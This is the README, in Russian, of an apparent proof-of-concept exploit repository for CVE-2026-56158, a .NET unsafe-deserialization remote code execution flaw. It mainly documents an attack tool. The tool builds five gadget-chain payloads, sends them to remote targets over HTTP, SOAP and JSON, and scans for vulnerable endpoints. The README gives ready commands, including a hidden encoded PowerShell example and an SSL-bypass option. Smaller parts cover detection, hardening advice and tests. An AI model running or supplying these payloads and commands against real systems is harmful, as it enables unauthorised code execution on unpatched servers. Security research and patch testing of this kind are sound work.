
Генерирует пять форматов полезных нагрузок .NET для десериализации по CVE-2026-56158, доставляет их через конечные точки HTTP/SOAP/JSON, включает мок-сервер, сканер и вывод JSON-отчёта.
Критический (CVSS 9.8) — десериализация недоверенных данных (CWE-502) в Microsoft .NET Framework и .NET Runtime Исправлено: 14 июля 2026 | Обнаружено: Positive Technologies (PT-2026-60174)
CVE-2026-56158 — критическая уязвимость удалённого выполнения кода в Microsoft .NET Framework и .NET runtime. Проблема заключается в небезопасной десериализации недоверенных данных (CWE-502): когда .NET-приложение использует устаревшие сериализаторы (BinaryFormatter, NetDataContractSerializer, SoapFormatter, ObjectStateFormatter) или Json.NET с TypeNameHandling.All/Auto, неаутентифицированный удалённый злоумышленник может доставить специально сформированную сериализованную полезную нагрузку, которая при десериализации приводит к выполнению произвольного кода.
Уязвимость имеет базовую оценку CVSS 3.1 — 9.8 (критический) с вектором AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, что означает:
Microsoft выпустила обновления безопасности 14 июля 2026 года в рамках ежемесячного цикла Patch Tuesday.
Устаревшие сериализаторы .NET runtime восстанавливают произвольные типы объектов из сериализованных потоков без проверки типа или содержимого. Когда злоумышленник контролирует сериализованные входные данные, он может направить десериализатор на создание экземпляров неожиданных типов, конструкторы, обратные вызовы или сеттеры свойств которых выполняют произвольный код, — это классическая атака с использованием цепочки гаджетов при десериализации.
Уязвимость затрагивает несколько механизмов сериализации:
TypeConfuseDelegate делегирует вызов Process.StartProcessStartInfo встраивается в тело SOAPProcess.Start через поле ViewState$type при включённом TypeNameHandling.All/Auto; гаджет ObjectDataProvider вызывает Process.StartПакеты Alpine Linux:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0Данный PoC-эксплойт генерирует и доставляет полезные нагрузки через 5 различных форматов атак при десериализации:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream или text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE в HTTP POSTJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$typeapplication/jsonTypeNameHandling.All или Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
end
CVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
Сгенерируйте все 5 форматов полезных нагрузок с командой по умолчанию (calc.exe):
python3 exploit.py
Вывод:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
Генерация с произвольной командой:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
Запустите встроенный имитационный уязвимый .NET-сервер и доставьте все полезные нагрузки:
python3 exploit.py --listen
При этом будет:
Ожидаемый вывод:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
Нестандартный порт:
python3 exploit.py --listen --port 8080
Сохраните определённый формат полезной нагрузки в файл для ручной доставки:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
Доставьте все полезные нагрузки на удалённую .NET-цель:
python3 exploit.py -u http://target:8080 -c "calc.exe"
С обходом проверки SSL-сертификата:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
Просканируйте цель на предмет версии .NET, конечных точек десериализации и проблем ViewState:
python3 exploit.py -u http://target:8080 --scan
Проверяются:
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc и т. д.)Сформируйте JSON-отчёт с полными сведениями об эксплуатации:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
Отчёт включает:
python3 test_exploit.py
Тесты покрывают:
python3 e2e_test.py
Тесты покрывают:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
Запустите детектор для выявления уязвимых установок .NET:
python3 detect.py
Просканируйте исходный код на наличие небезопасных шаблонов десериализации:
python3 detect.py /path/to/source/code
Детектор проверяет:
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter на System.Text.Json или DataContractSerializer со строгой привязкой типовSerializationBinder, если требуются устаревшие сериализаторыSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac и ViewStateEncryptionTypeNameHandling.All/Auto; используйте TypeNameHandling.NoneSoapFormatter и NetDataContractSerializer для недоверенного вводаДанный proof-of-concept эксплойт предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование против систем, которыми вы не владеете, незаконно и может нарушать законы о компьютерном мошенничестве и злоупотреблениях.
Авторы и соавторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
Лицензия MIT — подробности см. в файле LICENSE.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-56158 |
| Название | Уязвимость удалённого выполнения кода в .NET Framework |
| CVSS 3.1 | 9.8 (критический) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 (высокий) (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (десериализация недоверенных данных) |
| Опубликовано | 14 июля 2026 |
| Исправлено | 14 июля 2026 |
| Исследователь | Positive Technologies (PT-2026-60174) |
| EPSS | Оценка ещё не присвоена |
| CISA KEV | Не указан |
| Продукт | Уязвимый диапазон | Исправленная версия | Статья KB |
|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | Все до исправления | Исправлено | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | Все до исправления | Исправлено | KB5100991 |
| .NET Framework 4.8 | Все до исправления | Исправлено | KB5101011 |
| .NET Framework 4.8.1 | Все до исправления | Исправлено | KB5101002 |
| Visual Studio 2022 (17.12) | До исправления | 17.12.x | — |
| Visual Studio 2022 (17.14) | До исправления | 17.14.x | — |
| Visual Studio 2026 (18.7) | До исправления | 18.7.x | — |
dotnet.exe, devenv.exe или пользовательских .NET-процессов